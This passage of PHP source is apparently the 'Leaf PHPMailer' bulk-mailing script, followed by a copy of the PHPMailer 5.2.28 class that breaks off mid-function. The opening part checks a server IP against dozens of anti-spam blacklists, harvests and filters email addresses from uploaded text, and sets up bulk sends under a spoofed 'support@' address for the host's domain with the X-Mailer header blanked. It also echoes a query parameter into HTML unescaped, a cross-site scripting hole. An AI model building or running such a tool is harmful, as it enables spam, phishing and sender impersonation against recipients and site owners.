        "combined.abuse.ch",
        "db.wpbl.info",
        "dnsbl-1.uceprotect.net",
        "dnsbl-2.uceprotect.net",
        "dnsbl-3.uceprotect.net",
        "dnsbl.anticaptcha.net",
        "dnsbl.dronebl.org",
        "dnsbl.inps.de",
        "dnsbl.sorbs.net",
        "drone.abuse.ch",
        "duinv.aupads.org",
        "dul.dnsbl.sorbs.net",
        "dyna.spamrats.com",
        "dynip.rothen.com",
        "http.dnsbl.sorbs.net",
        "ips.backscatterer.org",
        "ix.dnsbl.manitu.net",
        "korea.services.net",
        "misc.dnsbl.sorbs.net",
        "noptr.spamrats.com",
        "orvedb.aupads.org",
        "pbl.spamhaus.org",
        "proxy.bl.gweep.ca",
        "psbl.surriel.com",
        "relays.bl.gweep.ca",
        "relays.nether.net",
        "sbl.spamhaus.org",
        "short.rbl.jp",
        "singular.ttk.pte.hu",
        "smtp.dnsbl.sorbs.net",
        "socks.dnsbl.sorbs.net",
        "spam.abuse.ch",
        "spam.dnsbl.anonmails.de",
        "spam.dnsbl.sorbs.net",
        "spam.spamrats.com",
        "spambot.bls.digibase.ca",
        "spamrbl.imp.ch",
        "spamsources.fabel.dk",
        "ubl.lashback.com",
        "ubl.unsubscore.com",
        "virus.rbl.jp",
        "web.dnsbl.sorbs.net",
        "wormrbl.imp.ch",
        "xbl.spamhaus.org",
        "z.mailspike.net",
        "zen.spamhaus.org",
        "zombie.dnsbl.sorbs.net",
    );
    $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
    $dnsT = count($dnsbl_lookup);
    leafheader();
    print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
    Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b>  anti-spam databases:<br>";
    $dnsN="";
    print '<table >';
    for ($i=0; $i < $dnsT; $i=$i+10) { 
        $host="";
        $hosts="";
        for($j=$i; $j<$i+10;$j++){
            $host=$dnsbl_lookup[$j];
            if(!empty($host)){
                print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
                $hosts .="$host,";
            }
        }
        $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
    }

    print '</table></div>';
    print $dnsN;
    exit;
}
if(isset($_GET['emailfilter'])){

    if(!empty($_FILES['fileToUpload']['tmp_name'])){
        $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]); 
    }
    $_POST['emailList']=strtolower($_POST['emailList']);
   if($_GET['emailfilter']=="ifram"){
        if ($_POST['resulttype'] == "download"){
            header("Content-Description: File Transfer"); 
            header("Content-Type: application/octet-stream"); 
            header("Content-Disposition: attachment; filename=emails".time().".txt");
        }
        else {
            header("Content-Type: text/plain");
        }
    if($_POST['submit']=="extract"){
        $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
        preg_match_all($pattern, $_POST['emailList'], $matches);
        foreach ($matches[0] as $email) {
            print $email."\n";
        }
    }
    elseif ($_POST['submit']=="filter") {
        $emails=explode("\n", $_POST['emailList']);
        $keywords=explode("\n", strtolower($_POST['keywords']));
        foreach ($emails as $email) {
            foreach ($keywords as $keyword ) {
                if(strstr($email, $keyword) ){
                    print $email."\n";
                     break;
                }
               
            }
        }

    }
    exit;
   }
   leafheader();
   print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
   print '
    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> 
        or

        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
      <div class="col-lg-12">
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
            Show Result in this page
          </label>
        </div>
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="download">
            Download Result (for big numbers)
          </label>
        </div>
      </div>
            <legend><h4>Extract Email</h4></legend>
            Detecting every email (100%) and order them line by line <br><br>
        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
            <legend><h4>Filter Emails</h4></legend>
        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>

            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
    </form>
    <label >Result </label>
    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>
   ';
   exit;

}
$html="checked";
$utf8="selected";
$bit8="selected";

if($_POST['action']=="send" or $_POST['action']=="score"){

    $senderEmail=leafTrim($_POST['senderEmail']);
    $senderName=leafTrim($_POST['senderName']);
    $replyTo=leafTrim($_POST['replyTo']);
    $subject=leafTrim($_POST['subject']);
    $emailList=leafTrim($_POST['emailList']);
    $messageType=leafTrim($_POST['messageType']);
    $messageLetter=leafTrim($_POST['messageLetter']);
    $encoding = $_POST['encode'];
    $charset = $_POST['charset'];
    $html="";
    $utf8="";
    $bit8="";

    if($messageType==2) $plain="checked";
    else $html="checked";

    if($charset=="ISO-8859-1") $iso="selected";
    else $utf8="selected";

    if($encoding=="7bit") $bit7="selected";
    elseif($encoding=="binary") $binary="selected";
    elseif($encoding=="base64") $base64="selected";
    elseif($encoding=="quoted-printable") $quotedprintable="selected";
    else $bit8="selected";



}
if($_POST['action']=="view"){
	$viewMessage=leafTrim($_POST['messageLetter']);
	$viewMessage=leafClear($viewMessage,"user@domain.com");
	if ($_POST['messageType']==2){
		print "<pre>".htmlspecialchars($viewMessage)."</pre>";
	}
	else {
		print $viewMessage;
	}
	exit;
}



if(!isset($_POST['senderEmail'])){
    $senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
    if (!leafMailCheck($senderEmail)) $senderEmail="";
}

class PHPMailer
{
    /**
     * The PHPMailer Version number.
     * @var string
     */
    public $Version = '5.2.28';

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     * @var integer
     */
    public $Priority = null;

    /**
     * The character set of the message.
     * @var string
     */
    public $CharSet = 'iso-8859-1';

    /**
     * The MIME Content-type of the message.
     * @var string
     */
    public $ContentType = 'text/plain';

    /**
     * The message encoding.
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
     * @var string
     */
    public $Encoding = '8bit';

    /**
     * Holds the most recent mailer error message.
     * @var string
     */
    public $ErrorInfo = '';

    /**
     * The From email address for the message.
     * @var string
     */
    public $From = 'root@localhost';

    /**
     * The From name of the message.
     * @var string
     */
    public $FromName = 'Root User';

    /**
     * The Sender email (Return-Path) of the message.
     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
     * @var string
     */
    public $Sender = '';

    /**
     * The Return-Path of the message.
     * If empty, it will be set to either From or Sender.
     * @var string
     * @deprecated Email senders should never set a return-path header;
     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
     */
    public $ReturnPath = '';

    /**
     * The Subject of the message.
     * @var string
     */
    public $Subject = '';

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     * @var string
     */
    public $Body = '';

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt & Eudora.
     * Clients that can read HTML will view the normal Body.
     * @var string
     */
    public $AltBody = '';

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
     * @link http://kigkonsult.se/iCalcreator/
     * @var string
     */
    public $Ical = '';

    /**
     * The complete compiled MIME message body.
     * @access protected
     * @var string
     */
    protected $MIMEBody = '';

    /**
     * The complete compiled MIME message headers.
     * @var string
     * @access protected
     */
    protected $MIMEHeader = '';

    /**
     * Extra headers that createHeader() doesn't fold in.
     * @var string
     * @access protected
     */
    protected $mailHeader = '';

    /**
     * Word-wrap the message body to this number of chars.
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
     * @var integer
     */
    public $WordWrap = 0;

    /**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

    /**
     * Whether mail() uses a fully sendmail-compatible MTA.
     * One which supports sendmail's "-oi -f" options.
     * @var boolean
     */
    public $UseSendmailOptions = true;

    /**
     * Path to PHPMailer plugins.
     * Useful if the SMTP class is not in the PHP include path.
     * @var string
     * @deprecated Should not be needed now there is an autoloader.
     */
    public $PluginDir = '';

    /**
     * The email address that a reading confirmation should be sent to, also known as read receipt.
     * @var string
     */
    public $ConfirmReadingTo = '';

    /**
     * The hostname to use in the Message-ID header and as default HELO string.
     * If empty, PHPMailer attempts to find one with, in order,
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
     * 'localhost.localdomain'.
     * @var string
     */
    public $Hostname = '';

    /**
     * An ID to be used in the Message-ID header.
     * If empty, a unique id will be generated.
     * You can set your own, but it must be in the format "<id@domain>",
     * as defined in RFC5322 section 3.6.4 or it will be ignored.
     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
     * @var string
     */
    public $MessageID = '';

    /**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     * @var string
     */
    public $MessageDate = '';

    /**
     * SMTP hosts.
     * Either a single hostname or multiple semicolon-delimited hostnames.
     * You can also specify a different port
     * for each host by using this format: [hostname:port]
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
     * You can also specify encryption type, for example:
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
     * Hosts will be tried in order.
     * @var string
     */
    public $Host = 'localhost';

    /**
     * The default SMTP server port.
     * @var integer
     * @TODO Why is this needed when the SMTP class takes care of it?
     */
    public $Port = 25;

    /**
     * The SMTP HELO of the message.
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
     * one with the same method described above for $Hostname.
     * @var string
     * @see PHPMailer::$Hostname
     */
    public $Helo = '';

    /**
     * What kind of encryption to use on the SMTP connection.
     * Options: '', 'ssl' or 'tls'
     * @var string
     */
    public $SMTPSecure = '';

    /**
     * Whether to enable TLS encryption automatically if a server supports it,
     * even if `SMTPSecure` is not set to 'tls'.
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
     * @var boolean
     */
    public $SMTPAutoTLS = true;

    /**
     * Whether to use SMTP authentication.
     * Uses the Username and Password properties.
     * @var boolean
     * @see PHPMailer::$Username
     * @see PHPMailer::$Password
     */
    public $SMTPAuth = false;

    /**
     * Options array passed to stream_context_create when connecting via SMTP.
     * @var array
     */
    public $SMTPOptions = array();

    /**
     * SMTP username.
     * @var string
     */
    public $Username = '';

    /**
     * SMTP password.
     * @var string
     */
    public $Password = '';

    /**
     * SMTP auth type.
     * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
     * @var string
     */
    public $AuthType = '';

    /**
     * SMTP realm.
     * Used for NTLM auth
     * @var string
     */
    public $Realm = '';

    /**
     * SMTP workstation.
     * Used for NTLM auth
     * @var string
     */
    public $Workstation = '';

    /**
     * The SMTP server timeout in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * @var integer
     */
    public $Timeout = 300;

    /**
     * SMTP class debug output mode.
     * Debug output level.
     * Options:
     * * `0` No output
     * * `1` Commands
     * * `2` Data and commands
     * * `3` As 2 plus connection status
     * * `4` Low-level data output
     * @var integer
     * @see SMTP::$do_debug
     */
    public $SMTPDebug = 0;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     *
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     * <code>
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * </code>
     * @var string|callable
     * @see SMTP::$Debugoutput
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to keep SMTP connection open after each message.
     * If this is set to true then to close the connection
     * requires an explicit call to smtpClose().
     * @var boolean
     */
    public $SMTPKeepAlive = false;

    /**
     * Whether to split multiple to addresses into multiple messages
     * or send them all in one message.
     * Only supported in `mail` and `sendmail` transports, not in SMTP.
     * @var boolean
     */
    public $SingleTo = false;

    /**
     * Storage for addresses when SingleTo is enabled.
     * @var array
     * @TODO This should really not be public
     */
    public $SingleToArray = array();

    /**
     * Whether to generate VERP addresses on send.
     * Only applicable when sending via SMTP.
     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @link http://www.postfix.org/VERP_README.html Postfix VERP info
     * @var boolean
     */
    public $do_verp = false;

    /**
     * Whether to allow sending messages with an empty body.
     * @var boolean
     */
    public $AllowEmpty = false;

    /**
     * The default line ending.
     * @note The default remains "\n". We force CRLF where we know
     *        it must be used via self::CRLF.
     * @var string
     */
    public $LE = "\n";

    /**
     * DKIM selector.
     * @var string
     */
    public $DKIM_selector = '';

    /**
     * DKIM Identity.
     * Usually the email address used as the source of the email.
     * @var string
     */
    public $DKIM_identity = '';

    /**
     * DKIM passphrase.
     * Used if your key is encrypted.
     * @var string
     */
    public $DKIM_passphrase = '';

    /**
     * DKIM signing domain name.
     * @example 'example.com'
     * @var string
     */
    public $DKIM_domain = '';

    /**
     * DKIM private key file path.
     * @var string
     */
    public $DKIM_private = '';

    /**
     * DKIM private key string.
     * If set, takes precedence over `$DKIM_private`.
     * @var string
     */
    public $DKIM_private_string = '';

    /**
     * Callback Action function name.
     *
     * The function that handles the result of the send email action.
     * It is called out by send() for each email sent.
     *
     * Value can be any php callable: http://www.php.net/is_callable
     *
     * Parameters:
     *   boolean $result        result of the send action
     *   array   $to            email addresses of the recipients
     *   array   $cc            cc email addresses
     *   array   $bcc           bcc email addresses
     *   string  $subject       the subject
     *   string  $body          the email body
     *   string  $from          email address of sender
     * @var string
     */
    public $action_function = '';

    /**
     * What to put in the X-Mailer header.
     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
     * @var string
     */
    public $XMailer = ' ';

    /**
     * Which validator to use by default when validating email addresses.
     * May be a callable to inject your own validator, but there are several built-in validators.
     * @see PHPMailer::validateAddress()
     * @var string|callable
     * @static
     */
    public static $validator = 'auto';

    /**
     * An instance of the SMTP sender class.
     * @var SMTP
     * @access protected
     */
    protected $smtp = null;

    /**
     * The array of 'to' names and addresses.
     * @var array
     * @access protected
     */
    protected $to = array();

    /**
     * The array of 'cc' names and addresses.
     * @var array
     * @access protected
     */
    protected $cc = array();

    /**
     * The array of 'bcc' names and addresses.
     * @var array
     * @access protected
     */
    protected $bcc = array();

    /**
     * The array of reply-to names and addresses.
     * @var array
     * @access protected
     */
    protected $ReplyTo = array();

    /**
     * An array of all kinds of addresses.
     * Includes all of $to, $cc, $bcc
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     */
    protected $all_recipients = array();

    /**
     * An array of names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $all_recipients
     * and one of $to, $cc, or $bcc.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     * @see PHPMailer::$all_recipients
     */
    protected $RecipientsQueue = array();

    /**
     * An array of reply-to names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$ReplyTo
     */
    protected $ReplyToQueue = array();

    /**
     * The array of attachments.
     * @var array
     * @access protected
     */
    protected $attachment = array();

    /**
     * The array of custom headers.
     * @var array
     * @access protected
     */
    protected $CustomHeader = array();

    /**
     * The most recent Message-ID (including angular brackets).
     * @var string
     * @access protected
     */
    protected $lastMessageID = '';

    /**
     * The message's MIME type.
     * @var string
     * @access protected
     */
    protected $message_type = '';

    /**
     * The array of MIME boundary strings.
     * @var array
     * @access protected
     */
    protected $boundary = array();

    /**
     * The array of available languages.
     * @var array
     * @access protected
     */
    protected $language = array();

    /**
     * The number of errors encountered.
     * @var integer
     * @access protected
     */
    protected $error_count = 0;

    /**
     * The S/MIME certificate file path.
     * @var string
     * @access protected
     */
    protected $sign_cert_file = '';

    /**
     * The S/MIME key file path.
     * @var string
     * @access protected
     */
    protected $sign_key_file = '';

    /**
     * The optional S/MIME extra certificates ("CA Chain") file path.
     * @var string
     * @access protected
     */
    protected $sign_extracerts_file = '';

    /**
     * The S/MIME password for the key.
     * Used only if the key is encrypted.
     * @var string
     * @access protected
     */
    protected $sign_key_pass = '';

    /**
     * Whether to throw exceptions for errors.
     * @var boolean
     * @access protected
     */
    protected $exceptions = false;

    /**
     * Unique ID used for message ID and boundaries.
     * @var string
     * @access protected
     */
    protected $uniqueid = '';

    /**
     * Error severity: message only, continue processing.
     */
    const STOP_MESSAGE = 0;

    /**
     * Error severity: message, likely ok to continue processing.
     */
    const STOP_CONTINUE = 1;

    /**
     * Error severity: message, plus full stop, critical error reached.
     */
    const STOP_CRITICAL = 2;

    /**
     * SMTP RFC standard line ending.
     */
    const CRLF = "\r\n";

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1
     * @var integer
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * Constructor.
     * @param boolean $exceptions Should we throw external exceptions?
     */
    public function __construct($exceptions = null)
    {
        if ($exceptions !== null) {
            $this->exceptions = (boolean)$exceptions;
        }
        //Pick an appropriate debug output format automatically
        $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        //Close any open SMTP connection nicely
        $this->smtpClose();
    }

    /**
     * Call mail() in a safe_mode-aware fashion.
     * Also, unless sendmail_path points to sendmail (or something that
     * claims to be sendmail), don't pass params (not a perfect fix,
     * but it will do)
     * @param string $to To
     * @param string $subject Subject
     * @param string $body Message Body
     * @param string $header Additional Header(s)
     * @param string $params Params
     * @access private
     * @return boolean
     */
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }

        //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }
    /**
     * Output debugging info via user-defined method.
     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
     * @see PHPMailer::$Debugoutput
     * @see PHPMailer::$SMTPDebug
     * @param string $str
     */
    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
        //Avoid clash with built-in function names
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/\r\n?/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                    "\n",
                    "\n                   \t                  ",
                    trim($str)
                ) . "\n";
        }
    }

    /**
     * Send messages using SMTP.
     * @return void
     */
    public function isSMTP()
    {
        $this->Mailer = 'smtp';
    }

    /**
     * Send messages using PHP's mail() function.
     * @return void
     */
    public function isMail()
    {
        $this->Mailer = 'mail';
    }

    /**
     * Send messages using $Sendmail.
     * @return void
     */
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'sendmail')) {
            $this->Sendmail = '/usr/sbin/sendmail';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'sendmail';
    }

    /**
     * Send messages using qmail.
     * @return void
     */
    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'qmail')) {
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'qmail';
    }

    /**
     * Add a "To" address.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addAddress($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('to', $address, $name);
    }

    /**
     * Add a "CC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
    }

    /**
     * Add a "BCC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addBCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
    }

    /**
     * Add a "Reply-To" address.
     * @param string $address The email address to reply to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addReplyTo($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
     * be modified after calling this function), addition of such addresses is delayed until send().
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addOrEnqueueAnAddress($kind, $address, $name)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        if (($pos = strrpos($address, '@')) === false) {
            // At-sign is misssing.
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $params = array($kind, $address, $name);
        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
            if ($kind != 'Reply-To') {
                if (!array_key_exists($address, $this->RecipientsQueue)) {
                    $this->RecipientsQueue[$address] = $params;
                    return true;
                }
            } else {
                if (!array_key_exists($address, $this->ReplyToQueue)) {
                    $this->ReplyToQueue[$address] = $params;
                    return true;
                }
            }
            return false;
        }
        // Immediately add standard addresses without IDN.
        return call_user_func_array(array($this, 'addAnAddress'), $params);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array.
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
            $error_message = $this->lang('Invalid recipient kind: ') . $kind;
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if (!$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if ($kind != 'Reply-To') {
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
                array_push($this->$kind, array($address, $name));
                $this->all_recipients[strtolower($address)] = true;
                return true;
            }
        } else {
            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
                $this->ReplyTo[strtolower($address)] = array($address, $name);
                return true;
            }
        }
        return false;
    }

    /**
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
     * of the form "display name <address>" into an array of name/address pairs.
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
     * Note that quotes in the name part are removed.
     * @param string $addrstr The address list string
     * @param bool $useimap Whether to use the IMAP extension to parse the list
     * @return array
     * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
     */
    public function parseAddresses($addrstr, $useimap = true)
    {
        $addresses = array();
        if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
            //Use this built-in parser if it's available
            $list = imap_rfc822_parse_adrlist($addrstr, '');
            foreach ($list as $address) {
                if ($address->host != '.SYNTAX-ERROR.') {
                    if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
                        $addresses[] = array(
                            'name' => (property_exists($address, 'personal') ? $address->personal : ''),
                            'address' => $address->mailbox . '@' . $address->host
                        );
                    }
                }
            }
        } else {
            //Use this simpler parser
            $list = explode(',', $addrstr);
            foreach ($list as $address) {
                $address = trim($address);
                //Is there a separate name part?
                if (strpos($address, '<') === false) {
                    //No separate name, just use the whole thing
                    if ($this->validateAddress($address)) {
                        $addresses[] = array(
                            'name' => '',
                            'address' => $address
                        );
                    }
                } else {
                    list($name, $email) = explode('<', $address);
                    $email = trim(str_replace('>', '', $email));
                    if ($this->validateAddress($email)) {
                        $addresses[] = array(
                            'name' => trim(str_replace(array('"', "'"), '', $name)),
                            'address' => $email
                        );
                    }
                }
            }
        }
        return $addresses;
    }

    /**
     * Sets message type to HTML or plain.
     * @param boolean $isHtml True for HTML mode.
     * @return void
     */
    public function isHTML($isHtml = true)
    {
        if ($isHtml) {
            $this->ContentType = 'text/html';
        } 
        else {
            $this->ContentType = 'text/plain';
        }

    }

    /**
     * Set the From and FromName properties.
     * @param string $address
     * @param string $name
     * @param boolean $auto Whether to also set the Sender address, defaults to true
     * @throws phpmailerException
     * @return boolean
     */
    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        // Don't validate now addresses with IDN. Will be done in send().
        if (($pos = strrpos($address, '@')) === false or
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
            !$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (setFrom) $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto) {
            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }
        return true;
    }

    /**
     * Return the Message-ID header of the last email.
     * Technically this is the value from the last time the headers were created,
     * but it's also the message ID of the last sent message except in
     * pathological cases.
     * @return string
     */
    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }

    /**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress('user@example.com', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     * @return boolean
     * @static
     * @access public
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
